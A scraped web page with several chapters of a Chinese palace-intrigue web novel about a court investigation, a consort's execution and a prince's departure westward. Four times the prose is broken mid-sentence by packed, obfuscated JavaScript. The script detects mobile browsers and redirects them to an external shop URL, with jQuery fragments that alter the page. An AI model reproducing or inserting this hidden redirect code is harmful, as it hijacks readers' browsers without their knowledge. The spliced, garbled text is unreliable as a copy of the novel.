可他全然不信北寰言会这么做。 如福望着北寰言笑了起来,不是嘲笑,是一种如释重负的酣畅。 北寰言放慢了呼吸,压住内心的怒火。 如福笑够了才看向北寰言,一字一句说得清楚:“你若真是这样卑鄙无耻的小人,今时今日也坐不到大理寺少卿这个位置,更入不了太傅的门。” 如福笃定北寰言不会做那种龌龊事。 这人虽然没有见过他,可对他的品性十分了解,继续耗在这里也不问不出什么线索。 北寰言回眸看向凌信:“这案子,请陆少卿来审吧。” 凌信点头,立即出去找人。 如福苦笑,北寰言根本不想浪费一点时间在他身上,可他却不是真的如此洒脱地想要赴死。 如福直起身子,换了个姿势,正跪在北寰言面前,朝他深深一拜:“我弟弟妹妹,求你……帮我照看一下。” 北寰言没回身,只道:“这事,不应该去求你主子?” 如福抿了抿唇,欲言又止,最后还是回了句:“我已经没有可以托付的人了。” 北寰言差点被如福气笑了,这人不想跟他说实话,却有事情想要托付给他。天底下哪有这么好脾气的人? 北寰言没应他。 如福没有开玩笑,他冲着北寰言默不作声地、认真地磕了三个头。 北寰言闭上眼,深吸一口气,不再看他,转身出了地牢。 陆休还在大理寺没走,看见凌信来请他去审锦妃身边的如福,他便知道这是大案。不敢耽搁,当即带着录事就去了牢里。 北寰言出了大理寺,已经是深夜。 整个朱雀大街上静得只能听见风灯摇曳。 马蹄声在空旷的街上回荡,北寰言漫无目的地驱马前行。 如福出来顶罪,这罪名最后会落在锦妃身上。 也不全是如福自己的想法,他只是顺着锦妃的心思,给她出了一个讨主子欢心的主意。 对方势力庞大到超乎想象。 从南境南泽王府,到西境勤王府,再到北境乌族三皇子漠勒。 桩桩件件都与边境线有关。 若说对方有颠覆政权,谋反的心思,这不仅需要钱,更重要的是有兵…… 南泽王全军覆灭,南泽兵权早就收归朝廷,即便对方拿到南泽旧部名单又如何?南方即便是起兵变,也要先过陵中储备军这一关。 他们打不到许都来。 此番他助勤王府还蔚巡生自由,如福被迫出来顶罪,把赐府以后所有罪名都按在锦妃身上,西境勤王府的兵权也不可能为歹人所用。 乌族三皇子漠勒来和亲,为的就是拿到北境军兵权回去与自己的哥哥一争大狼主之位。其实对于漠勒来说,娶谁都无所谓。能娶东陵嫡公主最好,娶不到嫡公主,能娶到北寰舞,背靠安王府也好。 毕竟北境六州节度使曾是父亲的旧部…… 所以只要破坏和亲,就能阻止对方拿到北境兵权…… 这是看大局。 那小局的厮杀呢? 西境还有一丝不确定性,那就是世子妃束茗。 如果想助蔚巡生破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188914|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局而出,就必须再帮他一手。 巡查江南漕运的新任工部侍郎纵尚,也是对方一招明棋,这人现在明摆着就是要博得陛下的信任,接下来…… 胯下骏马一声嘶鸣,北寰言回过神,发觉这马竟然自己走到了藏息阁。 罢了。 北寰言轻叹一声,下马进藏息阁。 藏息阁对外是一栋藏书楼。面上的生意是买卖文墨,内里藏着许多消息,占地极广。 前院是一栋三层高的阁楼,横跨朱雀大道上位置极好的五个商铺。 这是皇家产业,赐在北寰舞的父亲许安归名下。 阁楼里装潢古雅,三层楼里摆满了书籍。这里本身就是藏匿消息的地方,即便是有人想来搜查,这么多书卷光前院就要查很久。 穿过前院道后院就是一个九曲回廊,回廊采用江南一带建筑风格,白墙黑瓦朱木,蜿蜒盘横在藏息阁里。 廊下连着九曲水道,水道下全是暗道。廊上尽头连着九栋屋子,是藏息阁的中枢,各有各的职责。 这宅子设计与修建,都是时家得意之作。 北寰舞居住的聚信阁则是藏在这些楼宇的深处。 九曲回廊里的暗礁看见北寰言来,便忙不迭地来通知北寰舞。 北寰舞看他这个点来,就知道如福那什么都没问题出来。北寰言进来,无精打采地坐下,立即就有人给他送上来一碗茶来。 北寰舞翻了一沓书信消息,发觉北寰言一动不动坐在那发愣,忍不住笑道:“问不出来是意料之中,不用这么愁眉苦脸的吧?” “如福家里有几口人?”北寰言问。 北寰舞随手从身边抽出一个册子丢给他:“你自己看。” 北寰言接过来,翻开。 藏息阁早就查过如福的身世,他有七个弟弟妹妹,难怪死活不开口。 其中三弟在宁远药铺学医。 “有人盯着吗?”北寰言问。 北寰舞道:“一直有人看着。” 北寰言拿起茶盏茗了一口,好久才道:“这事过了以后找个机会跟宁叔说,把他三弟调离许都,去别的地方药铺学医罢。” 北寰舞觉得奇怪,看了他一眼:“你一向不操心这些事,怎么今晚专门来问这个?” “方才我走之前,如福托我照顾他弟弟妹妹。”北寰言淡淡道。 “他托你照顾你就照顾啊?!” 北寰舞凑过去摸了摸北寰言的额头,也没发烧啊,怎么说胡话? 北寰言没力气躲,木木地问:“我在外面风评那么好吗?” 北寰舞嫌弃地睨了他一眼:“什么意思?” 北寰言想着就觉得好笑,他跟如福明明是敌人,他却托他照顾他的弟妹,连自己主子都不信了。 北寰舞没好气道:“可不是吗?坏事都我做了呗。抓人、打架、查人、摸底,哪个不得罪人。” 北寰言轻轻叹了一口气:“大家都不容易。” 这是以前的他说不出来的话。 北寰舞到此才真的觉得北寰言长大了。 也好,即便是谪仙,也该沾染尘世味,不然不就白走了一趟人世间? 233. 放行 “没别的事了?”北寰舞继续低头看手上的东西。 “事情进展的不顺利,我心里不爽快。”北寰言垂眸,扣着桌角。 北寰舞笑:“你心里不爽快,恐怕不是因为事情进行的不顺利,而是因为蔚巡生要回去了吧?” 北寰言没说话,心思全写在脸上。 北寰舞见不得他这样,就教他:“你还是没长大。” 北寰言看她。 北寰舞道:“这次事我们一力帮他解决,折了一栋花楼的情谊他怎么也要记在心上。这比把他压在许都好用。人心所向,才是正道。” 北寰舞说得有道理,蔚巡生也真的是个无赖。 每日看见他就缠他,那情话说的一套一套的,若不是他有世子妃,北寰言该怀疑蔚巡生是不是喜欢的是男子。 可蔚巡生真的要走的时候,他又舍不得。 西境太远了,一旦蔚巡生出了许都,其他一切都只能靠他自己。 他怕他应付不来。 北寰舞仰头,眼睛不自觉眯到一起:“即是送别,就挑一个特殊的礼物送给他罢。好让他对你日思夜想,念念不忘。” “礼物……”北寰言蹙眉,想了片刻,就想到北寰舞说的礼物是什么,“我也正有此意。” “后面我们境地如何,全看他机不机灵了。”北寰舞撑着下巴,眼睛里闪着光,“蔚巡生,你可千万别让我们失望。” * 次日,朝堂之上六部议事完毕,大理寺少卿陆休就侧出一步上奏,说锦妃身边的内官如福杀了户部侍郎秦中之子秦谷,大理寺已经提审完毕。 这话一出,满朝哗然。 陆休轻咳一声,朝堂之上立即安静下来,他继续道:“如福杀秦谷的缘由是因为户部侍郎秦中在西境军饷上动手脚跟他有关系。” 陆休这话一出,朝堂上立即起了一片议论声。 锦妃身边的如福无故杀秦谷这事,在朝臣们看来跟之前北寰言查的江南漕运与沁春城藏尸案一样,是两边都沾不着的奇案。 锦妃是后宫嫔妃,秦谷是许都纨绔子弟。 怎么看他俩这辈子都不可能产生交集。 自从北寰言任大理寺少卿以后,朝堂上每次大理寺回禀的案子都奇之又奇。每到大理寺回禀朝廷大案的时候,总有官员按耐不住,在下面小声议论。 陆休已经习惯了,他等议论声小些,继续道:“臣审如福杀害秦谷一案,如福说他做的这一切都是为了锦妃。因为锦妃想让自己的儿子当太子,她需要给自己的儿子赚得一些当太子的筹码。 “五年前,秦中妹夫卓上盈,巡查西境的时候,被查出有受贿之嫌都与如福脱不开干系。 “秦中当年正是为了救自己的妹夫卓上盈于水火,才凑银子托关系找证据翻案。但当年秦家穷困,根本凑不出那么多银子,于是如福找到秦谷说,要解卓上盈之困,可以从西境军军饷入手。秦谷正是听了如福的话,回去把这事给秦侍郎说。才有后来御史台参西境军军饷五年与户部对不上的情况。 “如福说,锦妃为了勤世子交到陛下手上,费尽心思。 “在猴山校场上,西境军与禁军起口角也是他找人假扮的。他利用后宫内官的身份,进入兵部库房,偷出五件西境军军服,还有一件军服至今都在他房中。臣已经派人去查过了,确实搜出来一套西境军军服,从编号上看,是兵部库房里丢的其中一件。 “如福杀人,长乐郡主与言少卿皆是证人,如福杀人是现行犯,当场抓获。西境军军服是物证,他一直在兰香殿当差,听锦妃一人调遣。若是没有兰香殿的腰牌,如福根本不可能出宫去。” 陆休把如福杀秦谷交代得一清二楚,把秦中为何会做账抽取兵部银子缘由说得明明白白,最后还解释了西境军与禁军打架的事,把西境勤王府从这里面摘得干净。 从头到尾都是锦妃一人怂恿身边的内官做局陷害西境勤王府。 北寰言在一边听着,缓缓闭上了眼。 如福在秦中这个案子上,把大部分责任担了过去。他也没有想象中那么穷凶极恶。 有了如福的供词,秦中就能轻判。 这案子其实还有很多疑点,可如福与锦妃都不是无辜的人。如福做的任何事都是经过锦妃同意他才能做,恐怕如福说的所有事,真的都是他去做的。 对方从一开始就打定主意,要锦妃背黑锅,要如福当人证,要所有的线索都断在锦妃与如福身上。 北寰言不可能查出更多。他不审如福,是因为知道就算是审,如福也一定编好了话,能把这个故事圆上。他们没有明显的破绽,北寰言奈他不得。 许景挚听完,看向刑部尚书赵文斌:“大理寺案子审清楚了,交给你们刑部量刑罢。至于锦妃——锦海!” 许景挚忽然一声,吓得锦海腿软噗通一声跪在地上俯首道:“陛、陛下!” “勤王府、姚将军府与西域互通消息那事,你查的如何了?”许景挚敛了眸光,盯着锦海。 锦海哪敢再说那些欲加之罪的话,自己妹妹做了如此大逆不道的事,陛下没降罪连坐到他已是万幸,他满头是汗趴在地上,支支吾吾:“臣、臣没查出可疑……世子说的情况与兵部的册子对得上……” “那就是查无此事了?”许景挚问道。 “是!是查无此事!”锦海不想锦妃的事牵扯到自己身上,连忙道,“多半是有人栽赃陷害,勤王府与姚将军府是冤枉的!” 锦妃就是想要蔚巡生留在许都,给陛下一个制约西境兵权的由头,才做了做那么多丧尽天良的事。 现在锦海当务之急就是要把西境从这个案子里拉出来,撇清自己与锦妃的关系,才能自保。 他不刁难勤王府,便是最好的态度。 “后宫为了夺嫡出了这样的事,孤心甚寒。”许景挚垂眸,“锦妃作为整件事幕后指使罪无可恕,可她为后宫嫔妃,该如何处置,交由皇后决断。今天先这样,陈松!” “臣在。”陈松侧步出列。 “从即日起,解了姚子安与蔚巡生的禁令,许他们出城。”许景挚大手一挥,算是给这段时间闹得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202821|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沸沸扬扬的西境勤王府叛变一事下了个结论。 * 下朝以后,北寰言跟着锦海,看他步伐轻浮,额头上全是虚汗。 “锦御史。”北寰言快走两步,追上锦海。 锦海回头一看北寰言找他,当即腿脚发软,这人跟个阎罗一样,找谁谁出事。 “言、言少卿……”锦海愣愣地欠身回礼。 北寰言做了一个请的姿势,请他跟他一起走:“若是御史台对西境勤王府私通西域的事情没有任何疑问了,我是否可以把商禄王朝的玉玺拿走一用?” 锦海现在最不想看见的就是跟西境有关的任何东西。 他连忙点头应道:“可以可以!言少卿跟我去御史台拿罢!” “多谢。”北寰言跟着锦海一起往御史台走。 * 后宫里,许景挚已经换了常服到咸宁殿。 萧皇后带人在殿门口迎接。 萧皇后要行礼,许景挚伸手拉住她往大殿里进,没让她行礼:“进去说。” 进了殿阁,许景挚也没坐,双手叉腰来回踱步道:“锦妃的事,你已经知道了吧?” 萧皇后颔首:“是。” “这事你觉得应该怎么处理?”许景挚问。 萧皇后道:“全听陛下的意思。” “这事,你要孤下旨?”许景挚回眸盯着萧皇后。 萧皇后只看一眼就知道许景挚什么意思,这坏人得她来做。 萧皇后会心一笑道:“后宫嫔妃不得干政。锦妃做的这件事罪无可恕,但陛下仁慈心怀旧情,赐白绫或者鸩酒,留条全尸罢。” 许景挚侧目看向景雀:“照着皇后的意思拟旨,这事你去办。” 景雀领命,带着人就退下了。 许景挚望着萧皇后许久才道:“老四,生母病重,恐活不过这个冬天。老五生母去得早,年纪小,在宫里寂寞,少不得想念生母,你平日里没事多去看看他们。” 这是暗示。 许景挚立储,有意立从这两个小的里面选。 他这是在提点皇后,多跟这两个小的亲近。 虽然他们当初成婚是利益使然,可许景挚这么多年来,对自己选的皇后无不尊重,人前人后给足了颜面。 这是他俩心照不宣的方式。 自从萧皇后生了公主喝了红花再无生育可能,许景挚便一直遵守自己的诺言,给萧氏一门极大荣耀。 萧氏可以成为外戚,但是不能成为未来太子的助力。 帝王做到许景挚这个份上,那便是无可挑剔。 他无论是对别人还是对自己都够狠。 与许景挚相处的这十七年里,萧皇后学会了随遇而安。她只要保重自己的身子,她总能把萧家其他女儿送进下一任帝王的后宫。 无论日后是谁登记,她都可以依仗自己太后的身份,得到自己想要的。 失了眼下不要紧,她要替萧家争的是以后。 她相信,她现在失去的一切以后终究会以另一种方式回到她手上。 234. 推波助澜 岚雨抱着包袱一路小跑,从兰香殿跑出了凤栖门,直奔宫外。 今晨景雀来找她,给她了一个通行腰牌,说她的家人他已经帮她安排好了,他哥哥在宫门口等着她回家。 岚雨愣神,不知道该作何反应。 景雀道:“锦妃活不过今日,她死了,你就自由了。” 说罢景雀便留下腰牌走了。 岚雨好一会儿才回过神来,拿起腰牌跑回兰香殿,进入自己的屋子,从床垫下面拿出这些年攒的细软,全部放在包里,抱在怀里逃出了兰香殿。 她路过殿阁的时候,看见锦妃被景雀按着喝鸩毒,锦妃不从,不仅不喝,还又打又骂。 她指着景雀骂道:“你个阉人!即便是爬上了龙床那又如何?你还是一个身份低贱的阉人!我替陛下生育三皇子,功在千秋!你们这群阉人怎么敢动我!” 景雀根本不惯着她,一巴掌扇下去,顺势揪起她的衣襟,轻笑道:“现在就是我们这群阉人要你的命。我们有皇后娘娘懿旨在手,你罪行滔天,还想活?!” “景雀!你公报私仇!你不得好死!你早就看我不顺眼,后宫嫔妃之中我最得宠,你生不了孩子,稳固不了地位,你便恨毒我了!处处想要踩我一脚!”锦妃已经疯了,她见到谁都想咬一口。 景雀本就没那么好的性子,之前她在御书房前打他那一巴掌,他早就说过要她拿命来还。 见锦妃死都不喝鸩酒,二话不说,捏住她下巴就往里面灌。 锦妃甩着头,用脸把鸩酒撞掉,还想逃跑,她努力喊着:“盛儿!盛儿救我!这群下贱的阉人要杀你的母妃!我乃三皇子生母,你们怎么敢杀我——” 景雀深吸一口气,给身后内官一个眼色。 那内官拿起白绫一步跨到锦妃面前,绕了她脖子一圈,使了吃奶的力气勒了下去。 锦妃立即面红青紫,翻了白眼,腿脚不断蹬地,手到处乱抓,没几下便不再动了。 岚雨吓得缩了一下,下一瞬她又鼓起勇气,加快脚步往宫门的方向奔去。 她出宫这一路上没有人阻拦,景雀确实打点好了一切。 出了宫门,岚雨才看见自己的哥哥站在宫门外,望着她,一脸温情。 岚雨想也不想扑过去,抱住哥哥,嚎啕大哭。 哥哥摸着岚雨的头,把她拉上了驴车,往家去。 * 西境的事已经水落石出,北寰言拿着商禄王朝的玉玺,回到临府。 禁足令已解,蔚巡生与姚子安很快就会回西境。 北寰言回去的时候临近午膳时间。 蔚巡生坐在蔚兮堂的回廊树荫下纳凉。 他手上摇着一把折扇扇得头发微动,一身湛蓝色衣衫衣角垂在石板上随风轻扬,一副悠哉悠哉的模样。 “什么时候启程回去?” 北寰言负手踱步过去。 蔚巡生见北寰言回来,便换了个姿势,盘腿而坐,收了扇子敲着手心,一脸艳笑问:“你想我什么时候走啊?” 北寰言见不得他这幅无赖的嘴脸,把手上的玉玺放在围栏上,轻声道:“即刻。” “言郎心好狠啊……”蔚巡生嬉皮笑脸,“好歹我们也算是生死与共了不是,你怎么待我还是这般薄情呢?” 北寰言忍住心里的恶心,努力不去看蔚巡生。 蔚巡生调戏无果,只能去看北寰言给他的东西:“这是什么?送我的饯别礼?” 蔚巡生把那玉玺拎起来,放在眼前看了几遍:“这本来就是我的东西,你拿回来送给我,也忒小气了吧……” “你的东西,不好好收着,”北寰言望着他,“怎么让御史台拿去,成为攻讦你们的工具,你不知道吗?” 蔚巡生眼眸微眯,听着北寰言话里有话。 他轻笑着凑到北寰言耳边,错开位置,在他耳边轻呢:“你想说我勤王府里有内奸,故意把这东西偷出来送到御史台的?” 这人聪明得很,根本不需要北寰言多言提醒。 北寰言后退一步,拉开距离,道:“陛下让陈将军点一千禁军送你们回西境。石将军带队跟着你们,路上你们放心便是。明日长乐郡主代替我送你们出城,我还有早朝就不送你了。” 蔚巡生一副痛心疾首的样子:“你就这么迫不及待地想要赶我走啊?!” 北寰言望着蔚巡生,许久才道:“等这事了了,我会去找你的。” 蔚巡生倏地从围栏上跳下来,一把揽住北寰言的肩膀:“你说的!君子一言,驷马难追!” 北寰言蹙了蹙眉,终究没躲蔚巡生的手。 “走,跟我去喝几杯。践行哪能没酒啊!”蔚巡生推着北寰言往膳厅走。 “我不能喝酒……大理寺的规矩……” “去他娘的大理寺规矩,小爷我今天就要带你喝酒!” “你身子好到可以喝酒了?” “不怕,喝死了有神医谷的小神医。” “……” * 北寰言没怎么喝过酒,一喝酒便头晕,没两杯就趴在桌子上睡着了。 蔚巡生没想到北寰言这么不善酒,早知道就不逼他喝酒,还能趁着他清醒,回去之前再调戏他一晚上。 如今北寰言个头猛蹿,即便是凌信,也背不动了。只能找体型更加健硕的卫昭来背北寰言回屋。 北寰舞也没闲着,既然他们打定主意要助蔚巡生破局,那她也要出一份力才是。 北寰舞趁着他们在膳厅喝酒的功夫,回蕊仙殿,找到了世子妃束茗。 她正坐在回廊上,仰头望月。 那日万寿节,合宫夜宴,锦妃找过束茗。 锦妃给束茗伪造的身份一定还有后招,现在她推波助澜,蔚巡生回了许都以后才更好抓内奸。 天上半月羞藏,人影卓卓。 北寰舞负手而行,缓缓走到束茗身边:“听小芷说你这几日病了?” 束茗望向北寰舞轻声问:“郡主早就知道锦妃与我的关系了,所以那日才带我去认锦家家徽的?” 北寰舞佯装惊讶:“合宫夜宴,锦妃找过你了?” 束茗垂眸没有回答。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212401|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北寰舞转头看向夜空明月,眼底藏着谁都无法察觉的笑意。 “你这几日病着,没有出去走动,不知道朝堂上的事。没关系,我说与你听。” 北寰舞转身走到束茗面前,正对她一字一句道:“昨天夜里我们抓了锦妃身边的内官如福,他当街行凶杀了秦中。各种恩怨细节,你不用知晓。 “你只用知道,那如福最后锒铛入狱,指证锦妃是幕后指使并且说明最近御史台的参西境的案子都是锦妃派人去做的。 “今日早朝之后,陛下就去了后宫与皇后商量怎么处置锦妃。皇后下了懿旨,赐鸩酒亦或者白绫,留锦妃全尸。” 束茗心中一顿,许久才艰难地问出一句:“锦妃死了?!” “是,没活到午正,就死了。”北寰舞眯着眼,盯着束茗。 “那她这般的死法,”束茗颤颤地问,“还能进皇陵吗?” “当然不能!”北寰舞仰头走了几步,回头望着她,“你对锦妃的事还挺上心的?” 束茗唇线紧抿,不再说话。 北寰舞道:“一般嫔妃若是做了这种大逆不道的事,被赐死,即便是留了全尸,也无法进入皇陵。但她可以送回本家,让本家厚葬。但,办这事的人是陛下身边的景雀。你知道景雀是什么人吗?” 束茗摇头。 北寰舞继续道:“景雀是如今陛下最宠信的人。他虽然是内官,却得后宫三千佳丽宠爱于一身。锦妃与他早有嫌隙,两人在御前也多有摩擦。只是锦妃仗着自己身份比景雀贵重些,经常拿身份压景雀一头。眼下锦妃落到他手里,陈年旧怨凑在一起,锦妃下场不言而喻。景雀不是善茬,弄死锦妃之后,定然不会送回锦家,让锦家人厚葬锦妃。所以,锦妃只有一个下场,那便是一张草席裹了丢到宫外的乱葬岗去,任野狗啃食。” 束茗闭上眼,默默地流下眼泪。 她按住胸口,从围栏上下来,一步没走稳,便跪在了地上。在一旁伺候的侍女如意见状,连忙上来扶人:“世子妃!” 束茗站不起来,泪如雨下。 如意替主子鸣不平,怒道:“郡主!你怎么……” 束茗拉住如意的胳膊,轻轻地摇头,让她不要再说了。 北寰舞见自己目的已经达成,便轻飘飘地说了句:“夜深了,早点休息。明早我送你们去校场。” 北寰舞转身离开束茗的院子,却没有着急走。 她抱着手,敛了气息,靠在围墙外,听里面传来世子妃束茗带着哭声道:“如意……我想去乱葬岗找找她……” 如意连忙道:“不行啊,主子。临府周围全是看不见的守卫,主子不可能悄无声息地出去的。一定会被世子爷知道的。” 北寰舞挑眉,这侍女,竟然知道临府里里外外藏着许多藏息阁的暗礁。 不是一般人啊。 北寰舞瞥了一眼院子里,没兴趣继续听下去,转身去了北寰言的院子。 那么接下来,就要完成爹爹托付给她的事了。 北境草场上三千种马,要怎么给西境呢? 235. 故意 蔚巡生与姚子安还在膳厅用饭,北寰舞到北寰言的屋子门口,轻叩了两声:“哥,我。” 北寰言应了一声,北寰舞才推门进去。 北寰言脸侧微红,坐在床边,喝着解酒汤药。 北寰舞走过去轻笑:“你就这么怕蔚巡生烦你?犯得着装醉回屋吗?” 北寰言起身,一口把汤药喝了,把药碗放在桌上,轻声道:“他与姚子安太能喝了。我明天还有事,喝酒误事。” “我方才去找了世子妃,跟她说了锦妃的下场。”北寰舞笑道,“她好像挺难过的。” 北寰言走到窗边推开窗子:“这事蔚巡生心里有数。” “明日我送他们走,顺便就把那三千种马送给姚子安了。”北寰舞道,“蔚巡生来这么一遭,补全了我之前所有连不上的消息。爹爹与娘亲让我们送马的用意,我好像已经明白了。” 北寰言回头看向北寰舞。 北寰舞踱步过去,道:“而且景叔似乎也察觉到了什么,他把锦妃身边伺候她二十年的大宫女岚雨扣在了承恩殿,今晨才放出宫。” 北寰言蹙眉,沉下目光,思绪转得飞快。 确实,对方留下世子妃一颗棋子,最后的心思已经不难猜了。他把玉玺给蔚巡生,那是他帮蔚巡生给对方埋在勤王府的人下的套。 “你修书一封给西境藏息阁、黑市主事,要他们无论如何都要协助蔚巡生把后面的事办妥。”北寰言仰头想了想,又道,“你让黑市给枭姨递一封信,告诉她让她速速前往西境,蔚巡生那里的事需要她帮忙。” “好。”北寰舞点头。 北寰言道:“眼下最棘手的还是漠勒来和亲的事。陛下不找你,你就躲着点。” “我知道。”北寰舞也想看看那漠勒葫芦里卖的什么药。 “没事你就早点歇着,明天还要早起送人。”北寰言侧头看向北寰舞。 北寰舞也侧过身,轻轻地牵住北寰言的手:“很快就会有结果了。你怕吗?” 北寰言望着北寰舞,把她的手攥在手里,答道:“不怕。” “好。”北寰舞道,“我们生死与共。” * 次日寅时刚过,北寰言照常起身,准备早朝。 出门看见蔚巡生与姚子安皆是束衣短装,便知道他们是专门在这里等他,与他辞行。 北寰言抱拳,行江湖礼:“青山不改,绿水长流。” 蔚巡生与姚子安一齐抱拳回礼:“再会。” 道别之后,蔚巡生一行人便往临府带门口去,北寰舞早就穿了骑装坐在马上,等着他们来。北寰舞扎了一个高高的马尾,手上拿着皮制的小马鞭,坐在马上英姿飒爽。 “你回吧,我送他们去校场。”北寰舞挑眉看向北寰言。 北寰言微微点头,示意她一切小心。 北寰舞轻笑,驱马走到准备上马的姚子安身边,嗤笑一声:“听闻姚小将军马术了得,不知道敢不敢跟我比一比?” 姚子安扶着马脖子,看向北寰舞。 这姑娘□□的骏马身形健硕,四肢修长,肌肉形状完美无缺,看着就像是北境草场养出来的北境马。 这马习惯跑草场,许都这石板地,复杂的街头巷尾,要跑起来,需要驾驭之人超高的御马之术。 姚子安不信北寰舞这个小姑娘马术能比他还强,当即懒懒道:“和你,算了吧。” 北寰舞一点都不意外,姚子安这事没拿正眼瞧她。 她也不恼,挑眉道:“光比谁跑得快,当然没意思。我们带点彩头如何?” “什么?” 姚子安呵呵一笑,脸上写了四个字——不知好歹。 “我输了,送你西境军,三千匹北境种马。你输了喊我一声姑奶奶,如何?”北寰舞扬了扬下巴,挑衅地望着姚子安。 姚子安一听这彩头,肺都要气炸了。 这小丫头片子!到底是谁给她的自信,一定能跑得过他?! 姚子安当即怒上眉梢,翻身上马,拉紧缰绳,怼回去:“你赢了,别说喊你姑奶奶,我喊你祖宗都行!!!” “行!”北寰舞大笑,扬鞭策马而出,“姚子安,你可记住你这句话了。一言既出驷马难追。驾——” 姚子安不甘示弱,甩鞭就跟着北寰舞窜出巷子口。 马蹄声在巷子里无限回荡。 他俩走后,护送蔚巡生的车队才缓缓启程。 * 破晓的街道上没有多少人。 北寰舞与姚子安一前一后,飞驰在朱雀大道上。大道上的人听见马蹄狂奔的声音纷纷让开中间的道路。 城门还没开,守护城门的禁军老远就看见街道上有两人狂奔而来。 城墙上的禁军喊道:“何人在朱雀大街上跑马?!” 北寰舞掏出腰牌,从手边抄起一把小银弓,把腰牌挂在弓箭上,直射上城墙,大喊道:“给本郡主开门!” 禁军捡起腰牌,只见一个镂空雕金龙里镶嵌着玉牌,正面刻着舞字,背面是长乐郡主,立即往下喊:“开门开门——是长乐郡主!” 城门洞开,北寰舞一骑绝尘。 姚子安跟在后面辫子都快甩断了也追不上。 这死丫头骑术当真了得,用北境草场的马,也能在许都这种巷子里奔袭调转自由? 还没想完,就看见前方有一辆拉货的拖车横在道路上,根本来不及回避北寰舞。 “小心!”姚子安大喊一声。 北寰舞想也不想,直接加了鞭子,身子一提,带着马高高跃起,直接从那拖车上越了过去。 拉货的人蹲在地上吓得瑟瑟发抖。 姚子安服了,这姑娘真野,生怕她出点什么事,他连忙道:“你真是我祖宗!别跑了,我认输还不行吗?!一会儿儿你骑马出个意外,我可担不起。” 姚子安秉承着大丈夫能屈能伸的原则,不跟北寰舞这个小女子一般见识。 北寰舞勒马,放慢了速度。 姚子安追上问:“你这马术是跟谁学的?” “我爹啊。”北寰舞晃了晃脑袋,脑后的马尾跟着一起晃动,“我自小就在暮云峰下跑马,我爹教我的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221982|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“安王殿下!” 姚子安知道安王,那是东陵的战神,满眼都是崇拜。 所有习武的少年,都有一个江湖梦。 所有征战沙场的将军,都有一个战神梦。 凌信的飘渺剑就是江湖,许安归的不败神话就是他们的战神。 姚子安嫉妒死北寰舞了,她怎么这么好命,能跟他崇拜的两个人日夜不离。 北寰舞拿着小皮鞭笑着望着姚子安:“我看你枪法、骑术都不错,藏息阁也说这些年西境边境大小摩擦你都战场,怎么到现在兵部还没你的军功?” 姚子安打马,垂眸不语。 北寰舞看向前方,道:“是姚节度使怕你升得太快,有人说闲话?” 姚子安不敢说,北寰舞却笑出声:“日后让你爹尽管把你军功报上来吧。兵部尚书江狄是我爹爹一手带出来的,为人耿直,在陛下面前很有担当。他是个惜才的。二十多年前的朝东门事件让军门凋零,如今兵部还有许多职位空缺。不是江尚书找不到人来顶差,而是他宁缺毋滥,想要找最合适的人任职。想你这种沙场好手,就应该驰骋在东陵大地上,震慑边关,建功立业。让姚节度使别想那么多。” 姚子安驱马,并不应这话。 北寰舞调转话头:“西境全是戈壁沙漠,那里的马,腿力比北境的马要强。而北境马因为常年跑草场,奔袭一天一夜都行,体力甚好。你们这次回去,我哥送了一个饯别礼给蔚巡生,那我也不能落下。我已经安排宁远商号运三千匹北境种马往西境,你回去准备下,把这钱别礼收了。让北境马与西境马杂交,看看能不能养出一匹腿力、耐力一流的好马来。” “北境战马的种马?!”姚子安惊喜不已,“三千匹!你哪来这么多?” “你管我哪来的,你要还是不要?!”北寰舞啧了一声。 “那怎么好意思!”姚子安想客气一下。 “哦,那别要了,我让他们给我送回来。”北寰舞睨了姚子安一眼。 姚子安立即道:“别啊!我就是客气一下,你别真不送啊!” * 北寰舞把姚子安、蔚巡生安全送到猴山校场与一行人辞行以后就带着暗礁往回走。 就在快到许都城门口的时候北寰舞看见了乌族三皇子漠勒。 那人骑着一匹浑身黝黑的马,站在城门口,远远地望着她。 这人…… 北寰舞沉下眼眸,装作不认识漠勒,要驱马越过去的时候,漠勒说话了:“长乐郡主好骑术。” 